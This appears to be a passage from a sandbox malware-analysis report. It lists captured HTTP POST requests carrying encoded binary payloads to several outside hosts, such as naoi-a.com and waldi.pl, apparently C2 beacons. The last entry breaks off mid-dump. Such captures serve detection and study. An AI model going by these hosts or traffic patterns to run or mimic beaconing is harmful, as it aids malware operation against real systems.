4XtQyU1e3lfXc+7fxGvRgQYU2L67s90s0ZNpXqxwoUHOo2NTzoCcaeeqDBL2GuofJnuAqrM3U6K+QOGKZL1yhdx59vlbvX5ZrH+ETxVkc4iyFOidF7SguJTYzUpKFX0zRx6B9JxuP9NTV8uIaYGgVdAPd9iJuPGezF7f06jARObuwruiq1AIfMO4AnDAc3+FW1rggFi6Z5qyb7Di1ZN5JsYWCOPkipJ1UsrtjoSmOmMjlu6y4JqwCsbue/GgW/Z9WVx+WMahyAWHAjCmqaPxiSYYuR6B4deXT4yBcihHOSOjQDX76ZJPS6Lw0zI2nuGdnXen2nR6IgpvWXfJ7/+lSG7ENL9dXCpMlsalf+ggfgaJ3e64B3K1BhIaHrgkCaYs40Ym2AA/81FJgdcEnctK4mdMGuIKO/05xBz0vZ/wfVg9vdHzhFB/ccr2cyUVEVqHuaQRxHHBCBDcCbCaOweS5jUXg2VeDLaw8+zFVSkOZgVdpe/q/BACfPj1XoG5m4jXwspEeF1/BpvKE1wDlIr/Z9ApBJrfa+8nMP3GYGGEN+Haxc/dIvJod/K3GM/gr7eIEeWsX17isuANTH4Tythj9MigxPhC
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 4f 54 35 64 69 48 66 76 56 41 31 78 4d 69 2b 30 35 6f 62 48 49 38 41 41 65 61 30 74 6c 59 57 48 6d 2f 4a 6f 4f 76 2b 47 51 75 74 68 55 6e 4f 74 43 65 37 71 2b 30 31 73 46 50 75 5a 4b 67 48 44 64 72 78 63 30 66 33 71 4c 64 77 62 35 67 36 6c 5a 6a 48 4b 58 46 4a 6d 33 48 46 4f 56 48 73 67 54 31 47 4b 33 39 39 72 66 53 51 7a 6f 57 51 68 4d 50 42 63 36 5a 4d 2b 2f 43 31 51 68 6e 36 77 6a 4c 4d 55 44 75 67 43 2b 55 47 30 41 4c 4b 6d 43 2b 59 63 6f 49 6c 31 42 41 30 69 33 4e 5a 5a 6f 4f 33 51 58 44 61 7a 47 5a 68 4a 46 70 68 73 43 5a 6d 36 54 50 30 54 30 41 43 4c 7a 42 61 57 73 31 32 34 56 52 32 42 4a 59 41 51 4b 64 39 53 63 6e 47 57 56 79 4b 78 36 4e 52 66 49 4c 2f 77 51 33 4d 47 47 61 7a 42 63 36 55 7a 6d 56 75 71 37 6a 2f 64 72 6b 75 36 49 37 39 77 32 48 62 43 38 71 50 62 30 68 55 32 6c 42 37 49 35 68 61 6b 34 56 77 4b 51 42 56 79 38 55 4a 6a 2f 38 67 78 31 61 52 2b 68 79 47 47 54 6c 57 45 4a 58 38 4a 74 5a 38 4f 72 4f 48 74 47 45 56 38 51 33 76 4c 70 35 68 70 39 6a 48 35 68 4d 4c 43 50 70 6f 37 32 75 35 52 58 2b 4a 33 4e 62 4f 41 6d 52 35 62 56 36 59 4f 54 52 4d 50 4f 55 71 78 59 57 36 51 4e 45 4b 52 6e 44 68 44 78 54 6d 71 7a 35 6d 49 56 31 42 73 74 4b 79 66 4a 68 78 47 51 52 4d 47 77 4f 51 70 33 45 57 55 41 58 6a 6e 56 76 51 63 59 30 71 62 36 54 4e 35 68 59 35 4f 54 48 45 42 73 73 66 49 5a 73 5a 46 5a 36 76 54 75 46 4b 49 4e 4d 50 73 72 2f 6a 50 47 76 30 2f 35 73 79 65 68 77 34 42 41 72 7a 37 63 6f 6f 64 43 6a 65 4e 74 47 71 7a 6f 68 36 49 4d 6c 52 42 7a 47 62 6f 39 50 6a 70 49 39 37 72 71 58 39 78 71 45 46 61 72 66 47 67 4c 74 74 4b 59 36 4d 66 33 32 49 32 72 6e 5a 50 51 59 56 50 37 46 32 6e 32 69 64 45 70 74 77 50 47 46 57 59 39 56 32 79 58 31 58 6e 4e 79 55 74 68 32 50 6f 4c 33 32 44 7a 32 66 4e 66 50 78 58 37 2b 50 54 4a 6c 39 59 4e 31 6b 3d Data Ascii: OT5diHfvVA1xMi+05obHI8AAea0tlYWHm/JoOv+GQuthUnOtCe7q+01sFPuZKgHDdrxc0f3qLdwb5g6lZjHKXFJm3HFOVHsgT1GK399rfSQzoWQhMPBc6ZM+/C1Qhn6wjLMUDugC+UG0ALKmC+YcoIl1BA0i3NZZoO3QXDazGZhJFphsCZm6TP0T0ACLzBaWs124VR2BJYAQKd9ScnGWVyKx6NRfIL/wQ3MGGazBc6UzmVuq7j/drku6I79w2HbC8qPb0hU2lB7I5hak4VwKQBVy8UJj/8gx1aR+hyGGTlWEJX8JtZ8OrOHtGEV8Q3vLp5hp9jH5hMLCPpo72u5RX+J3NbOAmR5bV6YOTRMPOUqxYW6QNEKRnDhDxTmqz5mIV1BstKyfJhxGQRMGwOQp3EWUAXjnVvQcY0qb6TN5hY5OTHEBssfIZsZFZ6vTuFKINMPsr/jPGv0/5syehw4BArz7coodCjeNtGqzoh6IMlRBzGbo9PjpI97rqX9xqEFarfGgLttKY6Mf32I2rnZPQYVP7F2n2idEptwPGFWY9V2yX1XnNyUth2PoL32Dz2fNfPxX7+PTJl9YN1k=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 79 30 41 47 4e 6e 51 79 5a 56 66 30 4e 56 6e 48 7a 37 73 41 37 4d 63 6c 6f 4d 78 73 74 4c 39 53 36 44 61 6c 61 44 68 72 65 79 32 78 4b 4e 4e 75 66 71 53 38 68 57 6a 46 4a 65 33 4b 63 53 54 6d 45 38 42 54 48 49 76 69 39 78 34 50 72 67 65 34 33 6d 66 32 64 76 65 77 46 65 41 74 72 39 73 55 49 45 36 38 78 7a 55 79 4c 57 76 6c 50 78 37 32 70 42 6f 4b 47 2b 73 48 50 58 4e 54 47 7a 52 68 59 68 66 4d 39 69 6a 73 66 6a 37 50 5a 6f 44 43 6f 4c 52 4d 36 38 41 64 49 39 55 30 54 69 6d 73 79 70 37 4d 58 38 48 45 54 53 49 6a 75 50 7a 4c 6e 39 6a 6f 70 34 52 57 2b 32 79 44 2b 6a 2f 54 66 36 45 70 76 6e 6a 31 48 52 43 61 6e 7a 63 51 69 71 4b 46 49 72 4a 41 68 35 4e 50 46 63 54 39 5a 4b 41 59 4c 50 57 4f 79 71 56 61 35 62 64 78 6f 72 5a 77 69 62 49 31 6d 45 32 30 48 4d 36 65 73 2f 72 7a 76 47 72 78 61 58 45 66 43 79 71 64 73 64 33 65 30 6b 30 67 51 55 2b 47 65 38 61 71 75 30 61 33 32 6e 4f 4e 72 50 4c 38 71 7a 4a 77 4a 46 78 5a 4d 49 2b 34 7a 63 51 4d 6b 41 74 2b 54 49 54 45 47 63 53 67 68 7a 43 75 65 38 70 48 6f 61 35 4d 38 57 53 53 74 6f 4f 6f 71 62 4e 50 34 43 4d 45 46 72 53 79 41 2f 50 34 61 63 69 59 4b 56 46 63 2f 67 69 6f 49 71 57 52 4d 2b 2f 47 46 62 35 6d 7a 4a 75 53 48 77 79 34 49 41 58 4a 46 53 61 79 39 4b 79 63 65 6e 41 33 74 75 58 31 42 4d 51 6b 4e 2b 4d 33 34 47 67 6c 4d 64 43 4d 6f 4f 74 77 79 31 4d 37 68 76 2f 72 57 49 35 6a 4e 46 30 4f 6c 7a 78 50 6d 70 77 59 54 67 6d 68 4d 75 50 30 38 6b 39 43 74 47 66 72 66 67 58 30 4d 79 56 68 5a 64 79 31 45 63 61 2b 6d 59 61 32 2f 38 52 46 35 6b 73 73 74 53 43 70 68 55 77 38 6b 6b 6f 63 6a 76 73 6a 31 7a 41 51 41 48 59 34 61 7a 70 41 37 37 2b 4b 65 74 38 73 53 42 63 55 4d 38 5a 7a 6a 7a 37 52 56 69 51 41 36 6e 45 65 46 6b 77 42 33 47 6a 65 54 38 37 71 45 47 57 43 6d 73 51 6c 4b 6e 4d 63 62 41 3d 3d Data Ascii: y0AGNnQyZVf0NVnHz7sA7McloMxstL9S6DalaDhrey2xKNNufqS8hWjFJe3KcSTmE8BTHIvi9x4Prge43mf2dvewFeAtr9sUIE68xzUyLWvlPx72pBoKG+sHPXNTGzRhYhfM9ijsfj7PZoDCoLRM68AdI9U0Timsyp7MX8HETSIjuPzLn9jop4RW+2yD+j/Tf6Epvnj1HRCanzcQiqKFIrJAh5NPFcT9ZKAYLPWOyqVa5bdxorZwibI1mE20HM6es/rzvGrxaXEfCyqdsd3e0k0gQU+Ge8aqu0a32nONrPL8qzJwJFxZMI+4zcQMkAt+TITEGcSghzCue8pHoa5M8WSStoOoqbNP4CMEFrSyA/P4aciYKVFc/gioIqWRM+/GFb5mzJuSHwy4IAXJFSay9KycenA3tuX1BMQkN+M34GglMdCMoOtwy1M7hv/rWI5jNF0OlzxPmpwYTgmhMuP08k9CtGfrfgX0MyVhZdy1Eca+mYa2/8RF5ksstSCphUw8kkocjvsj1zAQAHY4azpA77+Ket8sSBcUM8Zzjz7RViQA6nEeFkwB3GjeT87qEGWCmsQlKnMcbA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 77 54 53 4c 63 73 53 36 6b 46 64 33 47 76 6e 64 33 34 64 57 6c 70 66 6d 32 59 2f 38 4f 6a 6d 75 4f 46 77 64 42 7a 38 68 75 70 49 52 70 31 4e 7a 4c 4c 62 2f 66 6a 79 65 71 52 62 38 45 74 47 2b 41 46 41 4e 6d 66 70 56 61 61 74 77 4f 2f 6d 55 59 61 7a 55 66 63 64 54 6e 43 4f 61 62 35 45 6b 61 31 55 2f 31 4a 4e 2f 53 2b 2f 78 50 4d 47 38 30 65 52 50 78 72 6e 2b 38 77 2f 6e 39 79 5a 4b 78 56 71 31 63 34 4f 76 58 45 76 47 66 73 42 78 6d 63 46 36 4f 72 46 69 52 37 41 4b 53 70 4f 4f 33 46 61 31 4b 36 6e 72 4c 39 30 31 32 43 39 41 46 69 41 55 6f 61 33 5a 59 74 30 50 77 79 64 7a 68 42 4a 62 2f 6a 55 37 72 50 32 2b 37 32 56 43 75 50 51 4e 59 67 4c 62 66 58 45 57 6b 41 2b 55 47 69 4c 33 53 4a 79 78 38 56 51 71 6b 44 4e 71 59 2f 30 76 54 72 6a 6b 32 4f 74 52 55 6a 6a 39 5a 70 50 35 73 70 37 38 61 4c 36 4f 57 66 76 6b 44 38 6e 75 6f 64 78 76 35 30 5a 62 4c 65 64 66 78 78 62 34 72 53 70 77 4f 54 61 37 59 77 4d 45 6b 66 2b 61 63 70 6e 62 4c 54 75 4e 2f 73 6f 77 46 64 50 44 39 31 53 33 33 65 62 79 51 4d 71 61 4c 78 56 52 51 37 65 31 4f 6d 7a 4c 57 64 39 43 46 30 4a 52 76 4a 74 69 38 64 61 7a 6a 68 6a 46 5a 6f 32 6d 45 52 53 4e 52 63 34 33 75 30 47 4f 50 34 32 44 51 34 46 77 2b 72 4c 2f 62 30 70 38 53 47 32 47 50 78 57 71 35 5a 79 2f 45 78 6b 4b 78 30 38 47 65 50 44 36 41 41 62 57 31 6f 65 4c 41 6b 64 50 4d 76 61 30 71 66 6d 6c 30 57 6d 72 54 47 73 65 33 67 36 53 75 4b 75 70 4e 38 63 53 53 6c 33 6c 70 72 66 47 43 56 61 35 71 6c 55 61 74 37 67 47 66 67 51 78 45 63 50 30 5a 4d 63 34 66 6c 30 35 42 75 33 71 73 74 64 44 70 4e 67 31 5a 56 69 77 63 72 34 71 77 4f 63 6b 36 4b 56 59 33 51 6a 64 77 2b 64 61 61 68 50 6e 64 51 73 47 44 30 72 65 49 64 51 52 76 77 73 45 78 67 4f 6a 70 31 31 2f 4f 41 39 62 55 4b 6c 44 6d 66 44 75 39 6d 71 50 33 69 36 2b 5a 4b 57 71 4c 51 39 41 Data Ascii: wTSLcsS6kFd3Gvnd34dWlpfm2Y/8OjmuOFwdBz8hupIRp1NzLLb/fjyeqRb8EtG+AFANmfpVaatwO/mUYazUfcdTnCOab5Eka1U/1JN/S+/xPMG80eRPxrn+8w/n9yZKxVq1c4OvXEvGfsBxmcF6OrFiR7AKSpOO3Fa1K6nrL9012C9AFiAUoa3ZYt0PwydzhBJb/jU7rP2+72VCuPQNYgLbfXEWkA+UGiL3SJyx8VQqkDNqY/0vTrjk2OtRUjj9ZpP5sp78aL6OWfvkD8nuodxv50ZbLedfxxb4rSpwOTa7YwMEkf+acpnbLTuN/sowFdPD91S33ebyQMqaLxVRQ7e1OmzLWd9CF0JRvJti8dazjhjFZo2mERSNRc43u0GOP42DQ4Fw+rL/b0p8SG2GPxWq5Zy/ExkKx08GePD6AAbW1oeLAkdPMva0qfml0WmrTGse3g6SuKupN8cSSl3lprfGCVa5qlUat7gGfgQxEcP0ZMc4fl05Bu3qstdDpNg1ZViwcr4qwOck6KVY3Qjdw+daahPndQsGD0reIdQRvwsExgOjp11/OA9bUKlDmfDu9mqP3i6+ZKWqLQ9A
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 77 39 33 2b 67 6e 74 66 34 41 7a 2f 70 52 77 39 45 73 37 68 6e 47 52 6e 70 31 6d 42 50 7a 4a 6a 33 38 42 61 34 50 69 78 71 70 72 7a 39 48 43 68 46 30 7a 6f 64 4c 63 6c 6c 6c 33 70 67 63 68 43 55 69 6f 58 66 75 4e 6d 45 48 53 51 64 66 44 6f 4f 49 6e 58 54 4d 51 62 62 44 52 50 77 55 61 6e 42 59 6b 67 43 71 67 76 2f 63 57 78 47 70 4f 72 57 37 4c 47 6a 66 34 62 49 74 6c 49 74 47 57 50 57 79 74 77 66 5a 2b 57 66 36 6b 4f 45 31 5a 38 38 62 32 76 47 77 68 46 49 54 61 67 55 37 41 55 74 6b 43 54 32 6f 54 6c 43 2f 46 63 35 4e 73 37 74 35 52 64 62 38 5a 4b 66 35 44 46 61 66 4c 57 7a 6c 45 73 37 67 7a 38 39 7a 73 46 57 46 30 52 4e 34 39 67 54 65 44 61 74 35 68 38 64 75 6e 4e 75 36 6d 42 35 2b 62 49 79 30 35 69 71 4d 2b 30 69 4d 54 4b 66 76 4c 5a 6f 77 63 71 6b 48 73 2f 37 41 61 6d 4e 67 62 4e 54 62 64 63 4d 50 2f 61 51 71 31 65 33 67 57 5a 6d 7a 44 6f 39 39 55 35 79 58 4c 58 56 59 31 33 63 42 67 70 59 33 51 54 2f 44 62 72 54 70 78 65 61 2f 44 48 45 45 4a 58 32 63 52 36 50 32 6d 52 2b 70 35 54 30 55 72 6b 72 57 55 4d 67 78 37 61 5a 79 65 2f 2b 7a 76 6a 44 50 2f 77 4a 56 4b 2f 62 4f 41 4f 30 6d 6e 59 67 70 69 64 46 43 77 35 4e 73 39 44 59 57 77 49 6a 38 59 41 64 78 4e 7a 5a 6c 65 45 51 4a 2f 2f 73 34 59 4d 7a 4a 6d 50 4d 34 51 35 57 34 4b 2f 48 4d 48 50 59 50 76 57 55 57 4a 67 30 46 6b 51 67 56 4c 53 38 36 71 6b 44 69 2b 4c 6a 5a 79 58 2b 70 79 37 4d 59 6a 58 2f 48 68 56 50 46 4f 32 4e 76 2b 4f 56 48 54 36 63 7a 32 76 48 70 53 4a 51 77 36 71 6b 57 47 67 62 51 57 38 78 38 52 75 4b 34 78 6d 68 4b 4c 44 2f 2f 78 6f 4f 48 43 42 66 34 45 56 4a 64 66 32 47 72 54 6a 31 4d 6e 2f 57 6a 2f 39 58 71 74 61 38 4c 62 46 77 64 50 65 4b 79 70 50 30 33 44 59 6c 61 32 4c 31 39 55 6c 35 39 57 32 4d 55 78 4a 54 66 53 42 33 33 51 30 41 51 3d 3d Data Ascii: w93+gntf4Az/pRw9Es7hnGRnp1mBPzJj38Ba4Pixqprz9HChF0zodLclll3pgchCUioXfuNmEHSQdfDoOInXTMQbbDRPwUanBYkgCqgv/cWxGpOrW7LGjf4bItlItGWPWytwfZ+Wf6kOE1Z88b2vGwhFITagU7AUtkCT2oTlC/Fc5Ns7t5Rdb8ZKf5DFafLWzlEs7gz89zsFWF0RN49gTeDat5h8dunNu6mB5+bIy05iqM+0iMTKfvLZowcqkHs/7AamNgbNTbdcMP/aQq1e3gWZmzDo99U5yXLXVY13cBgpY3QT/DbrTpxea/DHEEJX2cR6P2mR+p5T0UrkrWUMgx7aZye/+zvjDP/wJVK/bOAO0mnYgpidFCw5Ns9DYWwIj8YAdxNzZleEQJ//s4YMzJmPM4Q5W4K/HMHPYPvWUWJg0FkQgVLS86qkDi+LjZyX+py7MYjX/HhVPFO2Nv+OVHT6cz2vHpSJQw6qkWGgbQW8x8RuK4xmhKLD//xoOHCBf4EVJdf2GrTj1Mn/Wj/9Xqta8LbFwdPeKypP03DYla2L19Ul59W2MUxJTfSB33Q0AQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 46 55 4f 54 7a 48 31 6e 65 41 30 75 57 32 4b 51 4e 41 4c 39 2f 37 5a 6b 56 55 2b 72 66 4a 46 53 41 52 69 69 51 49 71 51 30 74 7a 74 2b 71 6e 6d 6a 38 54 47 49 4b 72 42 37 33 77 36 50 47 56 68 59 62 56 5a 79 68 45 53 4c 52 39 70 5a 36 51 57 73 63 7a 66 4a 6a 45 6f 54 79 33 72 78 7a 56 74 49 78 51 30 44 54 6b 32 76 51 59 58 53 4f 7a 47 79 68 34 4a 6c 7a 6b 7a 42 7a 5a 32 78 78 53 41 43 73 78 66 4c 55 52 49 66 51 68 6c 65 5a 57 74 2b 4d 36 6f 39 33 34 7a 58 43 74 37 38 57 65 57 34 61 55 6d 57 41 72 74 69 68 67 4a 54 33 4d 4e 48 74 2b 6a 4e 34 54 39 52 6a 6b 4e 34 49 38 4c 55 32 68 65 4e 72 76 70 41 39 50 58 45 71 65 55 65 2b 72 70 30 58 44 47 32 66 75 4b 6d 52 35 44 49 46 36 31 69 61 36 49 56 7a 6a 51 6e 41 4d 37 6a 69 68 59 58 45 31 54 75 30 2b 65 52 50 54 4a 71 53 66 43 65 36 53 62 4f 74 62 37 71 69 6a 6e 48 44 72 64 47 6e 69 4d 55 65 31 57 62 66 7a 4c 4d 46 44 6b 33 6c 61 32 61 32 48 67 51 46 51 55 50 30 6d 42 69 51 6b 54 48 70 44 6c 41 54 36 6d 55 2b 49 56 4a 7a 50 6d 43 50 2f 69 6e 39 48 76 67 61 49 4f 43 46 58 34 30 4e 36 42 73 4e 4e 62 57 64 48 4f 32 68 5a 32 6a 6e 6c 37 4d 58 4e 62 49 4b 78 68 44 37 64 6f 36 34 49 63 48 64 63 56 76 37 51 44 33 78 77 46 49 43 52 35 55 74 6f 41 6d 6c 70 62 58 6f 4f 4f 71 45 39 43 69 36 6d 37 77 38 68 42 62 4b 30 45 30 69 42 33 44 4e 6c 66 41 54 63 35 43 41 5a 69 2b 62 49 57 63 6a 70 76 78 41 79 63 72 30 4c 62 35 30 2f 31 62 70 52 52 47 45 44 6e 34 46 54 54 52 61 58 44 78 32 41 46 43 50 6f 33 75 63 61 76 58 70 67 61 36 53 47 42 56 77 42 51 61 52 75 5a 41 4b 6c 31 74 4c 4c 59 52 33 4d 77 77 6b 62 41 4b 31 4a 49 52 4b 7a 68 7a 6d 6c 4b 46 75 2b 52 57 65 54 52 74 6a 73 64 6e 6d 31 44 41 35 77 5a 43 4d 65 67 Data Ascii: FUOTzH1neA0uW2KQNAL9/7ZkVU+rfJFSARiiQIqQ0tzt+qnmj8TGIKrB73w6PGVhYbVZyhESLR9pZ6QWsczfJjEoTy3rxzVtIxQ0DTk2vQYXSOzGyh4JlzkzBzZ2xxSACsxfLURIfQhleZWt+M6o934zXCt78WeW4aUmWArtihgJT3MNHt+jN4T9RjkN4I8LU2heNrvpA9PXEqeUe+rp0XDG2fuKmR5DIF61ia6IVzjQnAM7jihYXE1Tu0+eRPTJqSfCe6SbOtb7qijnHDrdGniMUe1WbfzLMFDk3la2a2HgQFQUP0mBiQkTHpDlAT6mU+IVJzPmCP/in9HvgaIOCFX40N6BsNNbWdHO2hZ2jnl7MXNbIKxhD7do64IcHdcVv7QD3xwFICR5UtoAmlpbXoOOqE9Ci6m7w8hBbK0E0iB3DNlfATc5CAZi+bIWcjpvxAycr0Lb50/1bpRRGEDn4FTTRaXDx2AFCPo3ucavXpga6SGBVwBQaRuZAKl1tLLYR3MwwkbAK1JIRKzhzmlKFu+RWeTRtjsdnm1DA5wZCMeg
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 63 7a 69 61 6b 30 48 61 2b 51 7a 59 78 4e 6d 64 49 4f 35 74 77 68 71 59 36 44 65 2f 34 45 6a 4e 42 54 30 6e 36 71 4a 57 70 54 72 39 63 64 4b 75 63 56 7a 71 31 6b 46 43 56 58 67 51 68 32 76 59 6f 55 76 34 6c 37 6a 61 66 2b 4b 46 6b 6e 58 78 38 2b 31 43 61 38 78 39 63 34 55 78 7a 34 41 51 41 42 6d 38 45 55 37 49 37 53 58 30 64 37 65 39 4e 55 35 4e 33 48 31 61 6a 69 31 67 41 74 51 7a 63 61 6f 56 51 32 59 39 65 6c 71 6b 39 4a 55 6e 7a 58 43 55 56 56 57 5a 68 6b 68 64 67 74 4e 42 2f 37 54 52 70 73 62 36 6f 68 57 2b 63 39 69 61 46 56 43 43 32 49 67 6f 6d 79 35 58 57 5a 41 69 4a 51 54 65 4c 43 4e 76 53 72 77 74 35 4a 42 38 43 38 65 77 2b 4b 31 48 6d 61 53 45 48 43 45 56 30 4f 55 70 63 42 71 30 42 79 73 68 5a 4f 47 42 61 69 5a 59 6d 36 77 53 69 70 42 37 56 30 4c 67 64 6f 55 2f 54 61 46 61 37 4b 74 79 5a 6b 4c 30 33 49 54 49 66 51 6d 35 38 55 44 38 69 2b 4e 74 66 4b 57 32 6f 2f 63 6c 36 69 56 50 79 52 48 76 32 31 38 47 54 41 7a 35 42 53 6a 35 46 46 45 6a 46 68 45 6b 50 71 66 2f 64 63 4f 64 68 49 5a 42 33 36 5a 66 58 6b 79 4a 53 6f 61 5a 4f 2b 31 47 74 6a 41 4c 41 6f 75 6f 30 46 75 32 65 43 48 31 45 4f 4b 30 55 55 75 62 30 41 33 39 77 47 4e 37 63 67 59 47 53 77 44 56 37 49 4e 33 76 2f 62 6f 55 57 61 43 5a 2b 79 58 36 30 66 42 59 38 55 78 6f 2b 42 46 52 74 56 7a 52 78 62 70 64 36 74 43 62 44 51 6d 6d 7a 77 4a 6e 76 32 71 67 4d 65 72 4a 37 72 65 71 59 66 77 77 7a 77 52 2b 36 58 78 61 4b 51 66 41 30 78 49 37 64 64 79 30 70 6c 53 2f 64 33 55 4f 4c 47 4d 37 33 63 2b 65 62 42 6c 62 4f 36 54 55 4b 56 5a 4c 72 75 41 4b 4b 53 43 69 5a 59 58 6e 67 7a 46 62 4e 2b 68 69 5a 4c 41 41 6e 6a 58 6f 74 76 42 33 61 30 4c 64 69 6d 77 42 61 36 34 68 4b 69 31 68 66 73 6c 64 6c 7a 6c 49 53 45 3d Data Ascii: cziak0Ha+QzYxNmdIO5twhqY6De/4EjNBT0n6qJWpTr9cdKucVzq1kFCVXgQh2vYoUv4l7jaf+KFknXx8+1Ca8x9c4Uxz4AQABm8EU7I7SX0d7e9NU5N3H1aji1gAtQzcaoVQ2Y9elqk9JUnzXCUVVWZhkhdgtNB/7TRpsb6ohW+c9iaFVCC2Igomy5XWZAiJQTeLCNvSrwt5JB8C8ew+K1HmaSEHCEV0OUpcBq0ByshZOGBaiZYm6wSipB7V0LgdoU/TaFa7KtyZkL03ITIfQm58UD8i+NtfKW2o/cl6iVPyRHv218GTAz5BSj5FFEjFhEkPqf/dcOdhIZB36ZfXkyJSoaZO+1GtjALAouo0Fu2eCH1EOK0UUub0A39wGN7cgYGSwDV7IN3v/boUWaCZ+yX60fBY8Uxo+BFRtVzRxbpd6tCbDQmmzwJnv2qgMerJ7reqYfwwzwR+6XxaKQfA0xI7ddy0plS/d3UOLGM73c+ebBlbO6TUKVZLruAKKSCiZYXngzFbN+hiZLAAnjXotvB3a0LdimwBa64hKi1hfsldlzlISE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.waldi.plCache-Control: no-cacheData Raw: 78 44 4f 54 77 31 57 39 69 41 30 55 58 6a 63 6c 50 47 34 64 35 55 36 77 4e 32 68 6a 45 77 55 69 57 65 64 78 4d 72 6a 6d 73 2b 53 32 48 6d 55 6e 53 48 4e 67 74 6c 66 63 53 54 74 65 45 6f 54 32 32 2f 46 52 65 78 61 68 75 48 64 58 2b 66 49 58 30 6f 76 46 44 54 61 52 4e 73 4f 65 4c 45 4b 63 66 36 6a 41 4b 37 68 6a 6a 74 4e 35 68 4e 36 76 2f 30 7a 5a 62 65 58 2f 46 4a 43 48 6b 42 31 65 4e 32 52 38 55 56 44 4e 33 6d 2b 70 49 64 50 79 58 38 44 31 6d 4f 54 56 47 31 73 62 39 37 46 71 59 73 4b 55 67 49 30 79 38 67 68 33 70 59 4a 34 64 55 36 6b 6f 6a 6e 4a 51 6f 36 4c 76 76 70 39 70 78 4e 6b 4c 2b 4d 70 50 73 64 51 35 76 6b 2b 63 57 6b 6c 34 59 38 78 77 66 42 45 37 44 55 71 48 6b 37 7a 4d 55 4c 62 52 74 42 38 64 53 44 6a 6a 46 44 4a 70 59 4e 47 2f 33 34 73 48 41 49 79 46 63 34 39 79 32 78 2f 71 66 78 4f 5a 66 4c 61 37 44 54 59 4c 66 78 71 63 49 2f 4f 43 4c 72 33 31 43 31 45 69 61 49 69 68 46 36 38 6e 72 72 4c 34 73 65 69 7a 39 65 57 6f 49 79 2b 72 33 43 66 32 33 69 4a 34 48 63 67 69 61 66 6c 35 69 55 32 6d 41 71 48 4e 64 6a 35 59 64 47 72 55 63 6e 64 48 36 77 55 6c 54 32 4c 47 68 51 31 38 39 63 54 4e 4e 44 6f 4f 50 47 61 54 6f 75 75 38 70 49 31 35 61 32 72 52 52 2f 65 39 78 73 6e 45 71 64 4f 44 57 68 46 4d 65 66 38 33 71 73 45 64 4e 45 6f 32 58 76 52 30 43 69 41 44 6e 6a 78 4b 47 37 4f 6c 72 50 55 32 32 34 4a 55 43 49 38 67 67 35 48 76 65 2f 2f 53 30 52 7a 69 6f 6c 73 63 71 36 54 4f 4e 43 52 67 32 49 71 66 65 4d 2f 35 65 47 65 66 7a 61 46 33 50 4b 4f 34 56 4b 67 62 74 2f 45 4c 75 74 56 2f 57 59 33 45 32 47 78 49 36 4c 6c 59 4d 71 4c 35 56 30 36 76 62 32 38 44 6f 4b 79 41 67 47 66 Data Ascii: xDOTw1W9iA0UXjclPG4d5U6wN2hjEwUiWedxMrjms+S2HmUnSHNgtlfcSTteEoT22/FRexahuHdX+fIX0ovFDTaRNsOeLEKcf6jAK7hjjtN5hN6v/0zZbeX/FJCHkB1eN2R8UVDN3m+pIdPyX8D1mOTVG1sb97FqYsKUgI0y8gh3pYJ4dU6kojnJQo6Lvvp9pxNkL+MpPsdQ5vk+cWkl4Y8xwfBE7DUqHk7zMULbRtB8dSDjjFDJpYNG/34sHAIyFc49y2x/qfxOZfLa7DTYLfxqcI/OCLr31C1EiaIihF68nrrL4seiz9eWoIy+r3Cf23iJ4Hcgiafl5iU2mAqHNdj5YdGrUcndH6wUlT2LGhQ189cTNNDoOPGaTouu8pI15a2rRR/e9xsnEqdODWhFMef83qsEdNEo2XvR0CiADnjxKG7OlrPU224JUCI8gg5Hve//S0Rziolscq6TONCRg2IqfeM/5eGefzaF3PKO4VKgbt/ELutV/WY3E2GxI6LlYMqL5V06vb28DoKyAgGf
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pcgrate.comCache-Control: no-cacheCookie: rfqtk_wp_session_e2ba905bf306f46faca223d3cb20e2cf=29f43a8eaed3e7022b81a2e9b1ea1626%7C%7C%7C%7CData Raw: 79 6a 34 6e 49 35 41 71 45 31 67 30 51 74 4b 79 49 33 78 74 67 45 4d 41 77 34 36 34 4e 4b 35 6e 78 50 70 4d 42 34 4c 75 61 52 6e 77 75 70 53 7a 74 75 67 30 6d 32 67 71 38 73 7a 78 4e 6c 53 66 36 77 44 67 73 6b 68 41 2b 51 68 6e 6c 38 63 4a 48 70 2f 30 65 73 4e 2f 52 2b 51 34 47 33 66 63 6a 72 53 37 4f 55 70 79 77 2f 4f 38 36 65 67 58 73 6b 4a 68 49 41 39 46 52 7a 77 78 6c 2f 6d 59 6d 6d 44 67 77 79 34 6b 4c 36 64 59 72 7a 61 66 4c 5a 30 6f 39 2f 6c 4f 41 71 66 37 4f 2b 52 6f 